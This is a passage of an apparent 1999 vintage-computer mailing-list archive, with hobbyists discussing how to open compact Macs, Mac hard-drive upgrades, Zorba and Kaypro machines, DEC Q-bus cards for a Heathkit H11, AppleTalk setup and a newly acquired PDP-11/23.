From: joebar at microsoft.com (Joseph S. Barrera III) Date: Sun Feb 27 18:40:19 2005 Subject: mac tool Message-ID: <03d101be441d$4a55f440$11d53d9d@JOEBAR> >>I'd like to upgrade the tiny hard drive in a mac se, and maybe in a mac plus >>1 Meg, to use a 250 meg scsi drive. > >Let me get this right, you want to put an internal HD in a Mac Plus?!?! >Somehow I really don't think that's possible. They're meant to use an >external drive. As long as you get the SCSI termination right, does it matter? I'll confess, I don't do Macs, but with PCs, I routinely make internal drives external and vice versa... ...or are you concerned mostly about space and heating? - Joe From rigdonj at intellistar.net Tue Jan 19 22:41:24 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:19 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) In-Reply-To: <199901200002.AA12357@world.std.com> Message-ID: <3.0.1.16.19990119224124.3077e4aa@intellistar.net> At 07:02 PM 1/19/99 -0500, you wrote: > >< I nominate the Sanyo 550 series computers as THE worst computer ever sol >< >< I also nominate the Sanyo 550 computers has having THE worst >< >< Any seconds? > >No but I'd counter that the average PC from the late AT clones on may set a >new standard for non documentation. Not even close! At least the clones told you what the jumpers and connectors were for! Joe From rigdonj at intellistar.net Tue Jan 19 22:42:14 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:19 2005 Subject: Bubble memory In-Reply-To: References: Message-ID: <3.0.1.16.19990119224214.30776a42@intellistar.net> At 04:31 PM 1/19/99 -0800, you wrote: >Speaking of Bubble memory has anyone ever run across an Apple ][ bubble >memory card? No but I have a new Intel one for a PC. Joe From rigdonj at intellistar.net Tue Jan 19 22:44:58 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:19 2005 Subject: Kaypros and Osbornes In-Reply-To: <199901200044.TAA02890@pechter.nws.net> References: <199901192256.OAA13056@oa.ptloma.edu> Message-ID: <3.0.1.16.19990119224458.3067edb6@intellistar.net> At 07:44 PM 1/19/99 -0500, you wrote: >> ::Meanwhile, no one's ever heard of a Zorba, so I don't know why the two I've >> ::heard about sold for over $100. >> >> Okay, I'll bite: what's a Zorba? > >OK... it's a slick Z80 box (basically similar to a Kapro). > >It could read and write a number of disk formats and could run >software written for a lot of machines, since it was memory mapped video >and H19/Z19/VT52 compatible video you could actually hack it to >do Kaypro video instead with a few changes. > >It was first made by Telcon, which made data test equipment. >Telcon got in over their heads and needed bigger $$$ to continue. > >They were bought out by Modcomp (Modular Computers) who made mini's. >They created a Modular Micros group. They eventually were sold >to a suplus house called Gemini I wonder if that's the Gemini that is/was here in Orlando? They were doing lots of that kind of stuff in the mid '80s. Joe From dastar at ncal.verio.com Tue Jan 19 20:53:00 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:19 2005 Subject: Zorba In-Reply-To: <199901200044.TAA02890@pechter.nws.net> Message-ID: On Tue, 19 Jan 1999, Bill Pechter wrote: > It was first made by Telcon, which made data test equipment. > Telcon got in over their heads and needed bigger $$$ to continue. My unit is a Telcon branded model. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From SUPRDAVE at aol.com Tue Jan 19 20:39:30 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:40:19 2005 Subject: mac tool Message-ID: <260bcf4d.36a541e2@aol.com> In a message dated 1/19/99 9:05:53 PM EST, lemay@cs.umn.edu writes: << Does anyone know where I can get the tool you need to use to crack open teh case of an old MacIntosh? I seem to recall that in addition to special torx tools, probably one with an extra long shaft, that you needed something to pop the case open... I'd like to upgrade the tiny hard drive in a mac se, and maybe in a mac plus 1 Meg, to use a 250 meg scsi drive. Any idea if these units will run system 7? >> yes, they will run system 7, but make sure you have 4 meg. also, get the updates so you're running 7.01 or 7.1 system 6.0.8 is smaller and faster too. you dont need a mac cracker to open those compact models. here's two hints: 1. once all screws are removed, try pressing on the scsi and and floppy drive connectors on the back while holding the back half of the mac. that usually seperates it. or, 2. undo all screws, then start them back in their holes about one turn. use your torx tool to press against the screws while holding the back half of the mac. when it seperates, remove all screws and take the back half off. From dastar at ncal.verio.com Tue Jan 19 21:00:44 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:19 2005 Subject: mac tool In-Reply-To: <199901200202.UAA14710@thufir.cs.umn.edu> Message-ID: On Tue, 19 Jan 1999, Lawrence LeMay wrote: > Does anyone know where I can get the tool you need to use to crack open > teh case of an old MacIntosh? I seem to recall that in addition to > special torx tools, probably one with an extra long shaft, that you needed > something to pop the case open... Just get a real long torx driver. I found one quite easily in my local hardware store (Orchard Super Hardware). If you have a Home Depot or a Lowe's local to you then it will be even easier to find one. Or you can always just get a modular torx system with shaft extenders and that will work too. Don't bother paying a premium for a special Mac-case-opener tool because you'll only be ripping yourself off. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From pechter at monmouth.com Tue Jan 19 21:27:25 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:19 2005 Subject: Kaypros and Osbornes In-Reply-To: <3.0.1.16.19990119224458.3067edb6@intellistar.net> from Joe at "Jan 19, 99 10:44:58 pm" Message-ID: <199901200327.WAA03397@pechter.nws.net> > I wonder if that's the Gemini that is/was here in Orlando? They were > doing lots of that kind of stuff in the mid '80s. > > Joe > I think Ft. Lauderdale... Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From jruschme at exit109.com Tue Jan 19 21:52:08 1999 From: jruschme at exit109.com (John Ruschmeyer) Date: Sun Feb 27 18:40:19 2005 Subject: mac tool In-Reply-To: from Sam Ismail at "Jan 19, 99 07:00:44 pm" Message-ID: <199901200352.WAA01032@crobin.home.org> > On Tue, 19 Jan 1999, Lawrence LeMay wrote: > > > Does anyone know where I can get the tool you need to use to crack open > > teh case of an old MacIntosh? I seem to recall that in addition to > > special torx tools, probably one with an extra long shaft, that you needed > > something to pop the case open... > > Just get a real long torx driver. I found one quite easily in my local > hardware store (Orchard Super Hardware). If you have a Home Depot or a > Lowe's local to you then it will be even easier to find one. I ended up getting my long torx bit at a local auto parts store. <<>> From gram at cnct.com Tue Jan 19 22:08:42 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:19 2005 Subject: Disasters and Recovery References: <199901191853.LAA15445@calico.litterbox.com> Message-ID: <36A556CA.3D487487@cnct.com> Jim Strickland wrote: > > > Well, the Declaration of Independence, the Constitution, and the Bill > > of Rights originals are made of hemp paper, as were most documents of > > that era. > *snip* > > Really? I always thought they were using rag paper at the time. Interesting. They were. Hemp fiber was one of the main fabric materials then, as cotton was expensive to process before Eli Whitney and flax didn't grow well in North America at the time (no, I don't know why) -- wool then as now was rather expensive, sheep need lots of acreage. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From gram at cnct.com Tue Jan 19 22:13:51 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:19 2005 Subject: Disasters and Recovery References: Message-ID: <36A557FF.5D45BC7@cnct.com> Mark Tapley wrote: > > Ward Griffiths wrote: > >...I really wouldn't expect a modern computer to manage more > >than a few decades at best unless somebody developed a functional > >"stasis field", and we need a major breakthrough in theoretical > >physics -- and the followup engineering -- for that to happen. > >... > > Ward, I'm surprised! There are at least two ways to do this with current > physics: > > 1) put it way down deep in a gravity well. It'll have to be a *big* gravity > well to get the potential difference without generating tidal stresses > severe enough to threaten the structure of the computer. Pull it back out > when you are ready for it. > > 2) Accelerate it up to near 300,000 km/sec. Take a couple of months, of > course, else you'll generate acceleration-induced specific forces which > again might be dangerous to the classic computer. Run it in a big circle, > then decelerate it again at the destination date. It'll be in *much* better > shape than its twins left at home, per Al Einstein's classic. Pulling something out of a black hole's gravity well or acceleration to near light speed would require theoretical breakthroughs as well. No matter what you read in SF novels that I also read from childhood. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From bwish at pcfa.org Tue Jan 19 22:24:04 1999 From: bwish at pcfa.org (Brett Wish) Date: Sun Feb 27 18:40:19 2005 Subject: Multiuser computing invented! In-Reply-To: Message-ID: > Thought you folks might get a kick out of this ad in the new PC World: > "This revolutionary new technology allows you to add a 2nd PC for only > $149 to your existing Win95/98 PC (100 KHz (sic) or faster). With our > _Buddy System_ - internal card installed in the main PC, up to 50 feet of > cable and a little connector box, you can hook up a monitor, keyboard, > mouse and create a new, completely independent PC. Consider this: Both > PC's can concurrently run any software you have on the main PC..." This device has actually been out for around 6 mo. or more. It is supposed to really slow down the main computer if you're not careful, though. Of course, I don't trust Winblows to run for 5 seconds without crashing on a single user system, much less one with a multiuser card. From ard at p850ug1.demon.co.uk Tue Jan 19 20:58:56 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:19 2005 Subject: TK50Z-GA EPROM In-Reply-To: <199901190444.UAA27392@avocet.prod.itd.earthlink.net> from "dave dameron" at Jan 18, 99 08:44:41 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 491 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990120/bf1044cc/attachment.ksh From todd.osborne at barnstormer-software.com Tue Jan 19 23:02:20 1999 From: todd.osborne at barnstormer-software.com (Todd Osborne) Date: Sun Feb 27 18:40:19 2005 Subject: mac tool In-Reply-To: <199901200352.WAA01032@crobin.home.org> Message-ID: <000101be4432$0f2e78f0$01646464@codewarrior.fmstrategies.com> I never could find one long enough, so what I did was take a shorter Torx that was the right size and cut off the handle. Then use a Dremel tool to cut a slit in the end, larger enough for a small regular screwdriver bit to fit it. Then either weld, or tape, the screwdriver into the torx bit. Welding is more permanent (duh), but duct tape works for a short term fix. Hey, if you can't fix it with Duct tape it can't be fixed :) Todd > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of John Ruschmeyer > Sent: Tuesday, January 19, 1999 10:52 PM > To: Discussion re-collecting of classic computers > Subject: Re: mac tool > > > > On Tue, 19 Jan 1999, Lawrence LeMay wrote: > > > > > Does anyone know where I can get the tool you need to use to > crack open > > > teh case of an old MacIntosh? I seem to recall that in addition to > > > special torx tools, probably one with an extra long shaft, > that you needed > > > something to pop the case open... > > > > Just get a real long torx driver. I found one quite easily in my local > > hardware store (Orchard Super Hardware). If you have a Home Depot or a > > Lowe's local to you then it will be even easier to find one. > > I ended up getting my long torx bit at a local auto parts store. > > <<>> > From ard at p850ug1.demon.co.uk Tue Jan 19 21:03:25 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:19 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) In-Reply-To: <001501be43c2$b3e29540$bb88e9cf@yamato.chipware.com> from "Bill Sudbrink" at Jan 19, 99 10:45:13 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 832 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990120/e4c0d25e/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 19 21:07:04 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:19 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: <802566FE.005EADBE.00@WESTD90.pgen.co.uk> from "Philip.Belben@pgen.com" at Jan 19, 99 05:15:45 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 889 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990120/d4f51d73/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 19 21:30:34 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:19 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: <199901191815.SAA12200@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 19, 99 07:13:49 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1337 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990120/b945aa5d/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 19 22:00:17 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:19 2005 Subject: OT Re: Reading age of 3 (was: Re: Computers for children) In-Reply-To: <3.0.16.19990119135708.652fe428@ricochet.net> from "Uncle Roger" at Jan 19, 99 02:38:27 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 850 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990120/66d22ad1/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 19 22:40:24 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:19 2005 Subject: mac tool In-Reply-To: <199901200202.UAA14710@thufir.cs.umn.edu> from "Lawrence LeMay" at Jan 19, 99 08:02:31 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 613 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990120/f1a5a005/attachment.ksh From sinasohn at ricochet.net Tue Jan 19 23:39:57 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:19 2005 Subject: Kaypros and Osbornes Message-ID: <3.0.16.19990119172141.5f1f655c@ricochet.net> At 02:56 PM 1/19/99 -0800, you wrote: >::Meanwhile, no one's ever heard of a Zorba, so I don't know why the two I've >::heard about sold for over $100. > >Okay, I'll bite: what's a Zorba? Suitcase luggable, CP/M, much like the Kaypro. The company that made the Zorba was supposedly coming out with another model, but I don't know if they ever did. --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From gram at cnct.com Wed Jan 20 00:08:35 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:19 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) References: Message-ID: <36A572E3.23129172@cnct.com> Tony Duell wrote: > > > > How would an enduser tell the difference between a Windows installation > > > program that copies files to the right places and modifies some > > > configuration files, and a linux one that copies some files to the right > > > places, modifies some configuration files and runs make to build the > > > binaries from the C source. It doesn't require _any_ more knowledge. > > > > If the installation does this all for me, without any problems > > (like different header files, unimportent, but ill behavied defines > > or a different compiler version - not to mention different libc's) > > So what you're really complaining about is poorly done source kits. OK, I > can agree there. But perhaps I've been lucky as a lot of things just > build with no problems... > > > _and_ without any unnecersary interacion (like start the package manager, > > change directory, change environment settings, change script files, > > start 3 make runs, change /stc/* setings, etc.), I'm completly fine > > with that, but in fact, I never had the luck - I _can't_ remember > > any situation where I installed a source level package in an unix > > Point is, if the source is that badly behaved, then the binary probably > is as well (depends on a particular version of libc, requires > files in specific places, etc). And more people can fix the source than > fix the binary. Don't tell me about fixing the binary -- doing tech support for Tandy I did binary patches regularly, there were areas left unused in the TRSDOS (_all_ TRSDOSs on _all_ models -- actually also in most application binaries as well) so that a patch jumped to the former empty space, executed the repaired instructions, jumped back to continue past the break. They did that from day one, apparently they realized that software can have problems that show up after the product ships (and it was expensive to ship everybody a new disk in those days, the price of media was high then). Xenix and OS-9 fixes requirered recompiles, so patches for those showed up on disk to replace modules or programs. RPM has the ability to cover most of the details in the complaint, it's a powerful programming system on its own. But with the constant and rapid evolution of the various distributions, it's impossible to build a package before things move around or switch versions somewhere else. If Linux would _hold still for a minute_ RPM would keep up. Of course, that's not a problem with a monolithic single-vendor OS like Windoze, since MS issues patches during beta test less often than the folks in Fort Worth did after everything was stable and shipping. (Me? I look at the RPM and edit it as needed for my machine(s). I don't try to get anything universal, since on a couple of my boxes I play with the development kernels, this one I keep at the level of the latest Caldera CD, and my Samba server hasn't been updated in three years, since once I got Samba working I don't want to risk screwing it up, though when La Esposa decides to upgrade I'll _have_ to because of the change in treatment of passwords -- and when I have to upgrade Samba I'll probably update the OS and likely some hardware, since it's a 386/25 with a 200Mb Rodime drive). (I'd mentioned a while back that my Samba server had rebooted four times in three years due to power failures, it's now five, we had an outage this past Friday). -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From rexstout at uswest.net Tue Jan 19 21:46:49 1999 From: rexstout at uswest.net (John Rollins) Date: Sun Feb 27 18:40:19 2005 Subject: mac tool In-Reply-To: References: <199901200202.UAA14710@thufir.cs.umn.edu> Message-ID: >You need a T-10 Torx wrench with a long handle. I found one at Sears. As >for cracking it open, I'm using a welding clamp (don't laugh), I put the >tip into the crack and then open the clamp up, cracks them right open (once >all the screws have been removed). Actually a T-15. I had at least a dozen of them specifically made for this kind of thing, but I haven't been able to find them. Not that they are needed... Find one of those nice screwdriver kits with the torx bits and the extensions(make sure they're skinny enough to fit in there with the screw). Works fine for me. To get the case open I usually use a screwdriver(don't do that if you like having a spotless case), or sometimes they're loose enough to just pull apart(that doesn't happen very often). >Let me get this right, you want to put an internal HD in a Mac Plus?!?! >Somehow I really don't think that's possible. They're ment to use an >external drive. It can be done, but not easily. You need some interesting brackets, I think they usually stick them sideways against the case above and behind the floppy drive, or maybe the ones that just push it back a few inches but mounts to the floppy drive bracket(I've used them in an SE, not sure if they would fit in a Plus). And of course you have to get the SCSI and power cables hooked up. Not sure about the power(I think I've seen some splitter cables off of the logic board connector for this function), but the SCSI needs to be hooked up out side and somehow ends up inside, either through a slot cut into the case or if you want it a bit uglier, you can figure out how to get it through the battery holder. -------------------------------------------------------------- | http://members.tripod.com/~jrollins/index.html - Computers | | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | | orham@qth.net list admin KD7BCY | | ham-mac@qth.net Portland, OR | -------------------------------------------------------------- From doug at blinkenlights.com Wed Jan 20 00:47:02 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:19 2005 Subject: Heathkit H11 (was Re: Unibus boards for trade In-Reply-To: <199901191806.NAA17926@user2.infinet.com> Message-ID: On Tue, 19 Jan 1999, Ethan Dicks wrote: > M9313 - UET Unibus Excercisor and Terminator > M9202 - UNIBUS backplane jumper > M7793 - Half of a DEUNA. > M7793 - Half of a DEUNA (perhaps you have an M7792 and cables?) > M7258 - LP11 > M8396 - DMF32 Is there an online resource that has a definitive list of DEC modules and their descriptions? I'd like to configure a Heathkit H11 as a *small* PDP-11 with just CPU (M7270 LSI-11/02), terminal, and paper tape. I have no cards for it now, but I've got the M7270 on order. Which cards do I need for RAM, serial, and parallel I/O? I know nothing about DEC buses. Do I need a bus terminator or anything else? Also, I recall that something about the H11 wasn't DEC compatible, but I don't remember what it was.... -- Doug From healyzh at aracnet.com Wed Jan 20 00:56:07 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:19 2005 Subject: mac tool In-Reply-To: References: <199901200202.UAA14710@thufir.cs.umn.edu> Message-ID: >It can be done, but not easily. You need some interesting brackets, I think >they usually stick them sideways against the case above and behind the >floppy drive, or maybe the ones that just push it back a few inches but >mounts to the floppy drive bracket(I've used them in an SE, not sure if >they would fit in a Plus). And of course you have to get the SCSI and power Ah, but the SE is intended to have either an internal HD or a second floppy drive. >cables hooked up. Not sure about the power(I think I've seen some splitter >cables off of the logic board connector for this function), but the SCSI >needs to be hooked up out side and somehow ends up inside, either through a >slot cut into the case or if you want it a bit uglier, you can figure out >how to get it through the battery holder. At this point, even if money's a consideration, it might be in your best interest to pick up a newer Mac at GoodWill. I've gotten a Colour Classic before for less than the parts to do this would cost! What can I say, I guess I just don't see the point of putting a HD in a Mac Plus. On the other hand I do know how much trouble I had finding cheap external ZFP cases for them about a year and a half ago when I needed two. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From healyzh at aracnet.com Wed Jan 20 01:12:00 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:19 2005 Subject: Heathkit H11 (was Re: Unibus boards for trade In-Reply-To: References: <199901191806.NAA17926@user2.infinet.com> Message-ID: >Is there an online resource that has a definitive list of DEC modules and >their descriptions? http://metalab.unc.edu/pub/academic/computer-science/history/pdp-11/ http://metalab.unc.edu/pub/academic/computer-science/history/pdp-11/hardware/ http://metalab.unc.edu/pub/academic/computer-science/history/pdp-11/hardware/fie ld-guide.txt The Field Guide is my primary source of info. I've printed it out at about 6pt,and then stappled and cut off the excess paper, folded up it's about a 3" square, perfect for putting in ones pocket. >I'd like to configure a Heathkit H11 as a *small* PDP-11 with just CPU >(M7270 LSI-11/02), terminal, and paper tape. I have no cards for it now, >but I've got the M7270 on order. > >Which cards do I need for RAM, serial, and parallel I/O? I know nothing >about DEC buses. Do I need a bus terminator or anything else? Also, I >recall that something about the H11 wasn't DEC compatible, but I don't >remember what it was.... For what you're wanting it doesn't matter that the H11 wasn't DEC compatible, you won't be running a H11 you'll be running a LSI-11 in a H11 chassis. I'm not familiar with the H11, but on any Q-Bus backplane I've used the terminator seems to be built in (at least I've never had to worry about it). You'll need a RAM card, a SLU (serial), and whatever a paper tape reader/punch interfaces with (SLU also I assume). A copy of the "Microcomputer Processor Handbook 1979-80" or equivalent would be a major help for you also. It includes a section on memories. Not sure what else you might need for a setup like you want. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From doug at blinkenlights.com Wed Jan 20 02:01:43 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:20 2005 Subject: Heathkit H11 (was Re: Unibus boards for trade In-Reply-To: Message-ID: On Tue, 19 Jan 1999, Zane H. Healy wrote: > You'll need a RAM card, a SLU (serial), and whatever a paper tape > reader/punch interfaces with (SLU also I assume). A copy of the > "Microcomputer Processor Handbook 1979-80" or equivalent would be a major > help for you also. It includes a section on memories. Not sure what else > you might need for a setup like you want. Thanks, Zane! Anybody have spares of the following: M8044-{B,CA,DA} MSV11-D{B,C,D} 8/16/32K RAM M8021 MRV11-BA EPROM+RAM M7940 DLV11 SLU M7941 DRV11 parallel i/o -- Doug From thedm at sunflower.com Wed Jan 20 06:07:02 1999 From: thedm at sunflower.com (TheDM) Date: Sun Feb 27 18:40:20 2005 Subject: Setting-up AppleTalk? Message-ID: <004501be446d$63b84fa0$42097c18@thedm.lawrence.ks.us> You need to pick a folder on your macintosh and share it. Then on the GS, you go into appleshare and it will give you a list of the available servers. The GS can only be an appletalk client, not an appleshare server. -----Original Message----- From: Richard A. Cini, Jr. To: Discussion re-collecting of classic computers Date: Tuesday, January 19, 1999 7:29 PM Subject: Setting-up AppleTalk? >Hello, all: > > I'd like to try to get my Mac 512k, Apple //gs, and IW-II talking >together. I have all of the LocalTalk (PhoneNet style) hardware connected to >the respective units. However, this is the first time that I'm attempting >any form of networking on my Apples, so I really don't know where I'm going. > > I know that you have to identify one of the serial ports as LocalTalk. >I've done this in the //gs Control Panel, and I think that I've done this on >the Fat Mac, but what am I supposed to see? How do I know that it works? > > Thanks again. > >[ Rich Cini/WUGNET >[ ClubWin!/CW7 >[ MCP Windows 95/Windows Networking >[ Collector of "classic" computers >[ http://highgate.comm.sfu.ca/~rcini/classiccmp/ >[ http://highgate.comm.sfu.ca/~rcini/pdp11/ ><================ reply separator =================> > > > > From adavie at mad.scientist.com Wed Jan 20 06:12:41 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:20 2005 Subject: picked up PDP11/23 In-Reply-To: <001b01be43df$19ef1720$bb88e9cf@yamato.chipware.com> Message-ID: <000001be446e$2d7e5d20$94f438cb@a.davie> Just thought I'd let the list know what I got today PDP 11/23 PLUS, with DECSTATION across the front. RT01 on top, an RT02 on the bottom. Serial number of the machine is 320 - pretty low :) Fortunately, the friend I asked to help me pick it up (he has a wagon) actually serviced these way back when (!) That was a stroke of luck. He immediately parked the heads, removed the platters etc etc for me. Also, a VT220 with what I'm told is a current loop connector on the back. Now, to get the thing running... first I'll have to put a nail across the circuit in my fusebox, as I can only run the dishwasher and heater... or the TV and the microwave and the fan... or... you get the idea. The PDP cord is 10A, so I'm told :) A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html ? From netcafe at pirie.mtx.net.au Wed Jan 20 07:03:22 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:40:20 2005 Subject: picked up PDP11/23 Message-ID: <01be4475$427cf360$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Andrew Davie To: Discussion re-collecting of classic computers Date: Wednesday, 20 January 1999 23:47 Subject: picked up PDP11/23 >Just thought I'd let the list know what I got today >PDP 11/23 PLUS, with DECSTATION across the front. >RT01 on top, an RT02 on the bottom. >Serial number of the machine is 320 - pretty low :) Nice catch...... >Now, to get the thing running... first I'll have to put a nail across the >circuit in my fusebox, as I can only run the dishwasher and heater... or the >TV and the microwave and the fan... or... you get the idea. The PDP cord is >10A, so I'm told :) You probably have a bit of leeway there, DEC boxes always seem to draw less than they say on the psu labels. My 6000-320 is 3200w according to the markings, but it only uses about 500. Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net. From rigdonj at intellistar.net Wed Jan 20 08:51:48 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:20 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) In-Reply-To: References: <001501be43c2$b3e29540$bb88e9cf@yamato.chipware.com> Message-ID: <3.0.1.16.19990120085148.45df727a@intellistar.net> At 03:03 AM 1/20/99 +0000, you wrote: >> >> > I also nominate the Sanyo 550 computers has having THE worst >> > documentation of any computer ever sold in the US! >> >> I have to agree, at that time Sanyo's hardware documentation policy >> sucked. In order to get the HW info, you had to attend a Sanyo >> service class (I seem to recall the class fee to be around $300). > >How is this worse than Sharp (who won't supply me with _any_ docs or >service parts for their printers/photocopiers) or Canon (who won't supply >me with a board-swapper's manual without going on a course (which costs a >lot more that $300 BTW)). > >Or, indeed, a modern PC clone where docs are simply unavailable. Try >getting the schematics of any part of PC sometime... > >And I can assure you that figuring out the Sanyo is a lot easier than any >of the above... > But you at least got installation and owner instructions with Sharp, Perq, Canon. You didn't even get that with the 550. The DOS manual was FULL of errors and omissions. For example, the entry on the DIR command didn't even mention the switchs (/A, /W, etc). BTW does anyone have any instructions or info on the Canon SX-320 computer/calculator? Joe From a.kotsenos at rca.ac.uk Wed Jan 20 07:13:23 1999 From: a.kotsenos at rca.ac.uk (Athanasios Kotsenos) Date: Sun Feb 27 18:40:20 2005 Subject: Powerbook Duo Help In-Reply-To: References: <199901151020.EAA14776@wildride.netads.com> Message-ID: >Problem is, it does this under AC power. It's confused. Where does the >confusion lie, do you think? If it's firmware, is there a way to flash >new firmware? Would I destory its "prototypeness" if I did that? If it's >hardware, where is the voltage sensing circuitry so I can probe to find >what it's seeing? Might be far fetched, but if it _is_ a soft/firmware problem then you can zap the PRAM by keeping the command/apple, alt/option, P and R keys pressed simultaneously as the machine boots up. It'll get zapped and reboot (you'll here the startup sound once more). Might not be it, but many times when Macs act strangely and you just can't figure out why, that is the solution. Nasos From steverob at hotoffice.com Wed Jan 20 07:49:07 1999 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:40:20 2005 Subject: Kaypros and Osbornes Message-ID: <01BE4451.BDA6AF50.steverob@hotoffice.com> Group, I picked up a ZORBA at the thrift shop a couple of weeks ago (25$). Looks like the Mother Board is fried. I opened the case and it's immaculate inside. If anyone needs any of the guts, let me know. Regards, Steve Robertson - QA Team Leader -----Original Message----- From: Bill Pechter [SMTP:pechter@monmouth.com] Sent: Tuesday, January 19, 1999 7:46 PM To: Discussion re-collecting of classic computers Subject: Re: Kaypros and Osbornes > > I think other people's reasoning is that a lot more people know about the > O1 than the Kaypro, so that gets more interest/higher perceived value. > Meanwhile, no one's ever heard of a Zorba, so I don't know why the two I've > heard about sold for over $100. > Because the Zorba's are slick little CP/M machines? --Bill (a Zorba fan and owner) --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From pechter at monmouth.com Wed Jan 20 08:02:09 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:20 2005 Subject: Kaypros and Osbornes In-Reply-To: <3.0.16.19990119172141.5f1f655c@ricochet.net> from Uncle Roger at "Jan 19, 99 09:39:57 pm" Message-ID: <199901201402.JAA04785@pechter.nws.net> > At 02:56 PM 1/19/99 -0800, you wrote: > >::Meanwhile, no one's ever heard of a Zorba, so I don't know why the two I've > >::heard about sold for over $100. > > > >Okay, I'll bite: what's a Zorba? > > Suitcase luggable, CP/M, much like the Kaypro. The company that made the > Zorba was supposedly coming out with another model, but I don't know if > they ever did. > > > > --------------------------------------------------------------------- O- > > Uncle Roger "There is pleasure pure in being mad > Well, 